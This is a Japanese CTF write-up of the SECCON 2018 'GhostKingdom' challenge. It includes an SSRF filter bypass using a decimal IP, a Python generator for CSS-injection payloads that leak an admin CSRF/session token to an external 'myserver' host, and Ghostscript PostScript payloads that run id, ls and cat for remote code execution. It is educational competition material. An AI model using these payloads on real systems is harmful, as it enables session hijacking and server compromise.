こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON 2018 Quals - GhostKingdom

問題文

http://ghostkingdom.pwn.seccon.jp/FLAG/

上記のURLにアクセスすると、以下の表示。

FLAG is somewhere in this folder.   GO TO TOP

TOP画面は以下。 f:id:graneed:20181027190242p:plain

writeup

調査

Create new userリンクからユーザ作成してログインすると、メニュー画面が表示される。

メニュー画面には以下3つの機能が表示されている。

  • Message to admin
  • Take a screenshot
  • Upload image

但し、Upload imageは、* Only for users logged in from the local networkとのことで、使用できない。残り2つの機能を調査する。

Message to admin

NormalEmergencyを選択するラジオボタンと、Messageの入力項目がある。

f:id:graneed:20181027190822p:plain

MessageXSS脆弱性は無い。

Previewボタンを押下すると、プレビュー画面に遷移する。 Emergencyを選択していると、メッセージを強調するスタイルが適用される。

f:id:graneed:20181027190625p:plain

プレビュー画面のURLにはcssパラメータが付いている。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=aaaa&action=msgadm2

cssパラメータはBASE64エンコード文字列のように見えるため、復号してみる。

root@kali:~# echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -d
span{background-color:red;color:yellow}

強調するスタイルは、cssパラメータでセットしているようだ。つまり任意にセット可能。

プレビュー画面の後にSend to adminボタンを押下するとadminにメッセージ送信が成功したメッセージが表示される。

Take a screenshot

URLを入力して、Take a Screenshotボタンを押下すると、URLにアクセスしてScreenshotを取得して表示してくれる。

f:id:graneed:20181027190754p:plain

file:///etc/passwdを入力してみるがInvalid URL!の表示。
http://localhost/を入力すると、You can not use URLs that contain the following keywords: 127, ::1, localの表示。
へー、ローカルアクセスは塞がれているのか、なるほど(意味深

Stage1

まずは、Take a screenshotのローカルアクセスの制約を突破する。 127, ::1, localしかフィルタしていないとすれば、IPアドレスの指定方法を変えれば突破できそうだ。

IPアドレス値・数値(2,10,16進数)変換ツール -IPv46 – IPアドレス(CIDR)の範囲確認・変換サイト

上記サイトを使用して127.0.0.1を10進数値に変換すると2130706433になる。
http://2130706433/のScreenshotを取得すると成功。

f:id:graneed:20181027191836p:plain

Upload imageに飛べるか確認するため、試しにhttp://2130706433/?action=menuを入力するが、admin側でもログインが必要のようだ。幸い、ログイン時にuserpassをクエリパラメータで送信するI/Fのため、http://2130706433/?user=<ユーザID>&pass=<パスワード>&action=loginを入力してadminにログインさせてあげればよい。

その後、再度http://2130706433/?action=menuを入力すると、メニュー画面のScreenshotを取得できた。

f:id:graneed:20181027192451p:plain

ただ、Upload imageが有効なメニュー画面のScreenshotだけあっても意味がない。 このログインしている状態のadminのCookieを窃取して、自分でUpload imageを利用したい。

そこで、Message to adminにて、CSSが任意に指定できる機能を使用する。 プレビュー画面には、hiddenのcsrf項目があるが、valueを見るとCookieCGISESSIDと同値。

よって、プレビュー画面でCSS Injectionを使用してcsrf項目のvalueを取得できれば、adminに成りすましてメニュー画面の表示やUpload imageを利用することができる。

CSS Injectionの攻撃コードを生成するスクリプトを作成する。

import base64

CHARLIST = "0123456789" + "abcdef"
URL = "http://2130706433/?msg=aaa&action=msgadm2&css="

known_csrf = "ff1de841cd4cb1c627ead5"
buf = ""
for c in CHARLIST:
    buf += """input[name="csrf"][value^="{}"] {{
background: url(http://myserver/{});
}}""".format(known_csrf + c, known_csrf + c)
    
print(buf)
print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))

実行すると、CSS Injectionの攻撃コードと、それをBASE64エンコードしてcssパラメータにセットしたURLが生成される。

input[name="csrf"][value^="0"] {
background: url(http://myserver/0);
}input[name="csrf"][value^="1"] {
background: url(http://myserver/1);
}input[name="csrf"][value^="2"] {
background: url(http://myserver/2);
}input[name="csrf"][value^="3"] {
background: url(http://myserver/3);
}input[name="csrf"][value^="4"] {
background: url(http://myserver/4);
}input[name="csrf"][value^="5"] {
background: url(http://myserver/5);
}input[name="csrf"][value^="6"] {
background: url(http://myserver/6);
}input[name="csrf"][value^="7"] {
background: url(http://myserver/7);
}input[name="csrf"][value^="8"] {
background: url(http://myserver/8);
}input[name="csrf"][value^="9"] {
background: url(http://myserver/9);
}input[name="csrf"][value^="a"] {
background: url(http://myserver/a);
}input[name="csrf"][value^="b"] {
background: url(http://myserver/b);
}input[name="csrf"][value^="c"] {
background: url(http://myserver/c);
}input[name="csrf"][value^="d"] {
background: url(http://myserver/d);
}input[name="csrf"][value^="e"] {
background: url(http://myserver/e);
}input[name="csrf"][value^="f"] {
background: url(http://myserver/f);
}
http://2130706433/?msg=aaa&action=msgadm2&css=aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMCJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci8wKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjEiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvMSk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSIyIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzIpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMyJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci8zKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjQiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvNCk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI1Il0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzUpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iNiJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci82KTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjciXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvNyk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI4Il0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzgpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iOSJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci85KTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImEiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvYSk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJiIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyL2IpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iYyJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci9jKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImQiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvZCk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJlIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyL2UpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iZiJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci9mKTsKfQ==

このURLを使用してScreenshotをとると、自サーバにcsrfの先頭1文字に対応したアクセスが飛んでくるはずである。

XXX.XXX.XXX.XXX - - [27/Oct/2018:17:56:59 +0900] "GET /f HTTP/1.1" 404 503 "http://127.0.0.1/?msg=aaa&action=msgadm2&css=(snip)" "SECCON-CTF-ONLINE-2018--FROM-YYY.YYY.YYY.YYY"

飛んできた。csrfの先頭1文字はfのようだ。

これを繰り返してcsrfを全桁入手し、Cookieにセットしてメニュー画面を表示する。 f:id:graneed:20181027194457p:plain

Upload imageが有効なメニュー画面を表示できた。

Stage2

Upload imageに遷移すると以下の画面。

f:id:graneed:20181027194509p:plain

試しに適当な画像をアップロードしてみる。

f:id:graneed:20181027194923p:plain

GIFに変換できるようだ。

f:id:graneed:20181027194953p:plain

さて、ここでURLを見てみる。
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi

ghostとMagick・・・GhostscriptとImageMagickか!

Ghostscript の -dSAFER オプションの脆弱性に関する注意喚起

PoCのコードはこちら。
Ghostscript - Multiple Vulnerabilities

試しに、上記ページから以下のコードを取得して拡張子jpgで保存してアップロードしてみる。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

f:id:graneed:20181027195835p:plain

idコマンドを実行できた!ビンゴ!

次に、/FLAG/配下のファイルを確認する。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops

f:id:graneed:20181027200134p:plain

最後に、FLAGflagF1A8.txtをcatする。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

f:id:graneed:20181027200050p:plain

フラグゲット!
SECCON{CSSinjection+GhostScript/ImageMagickRCE}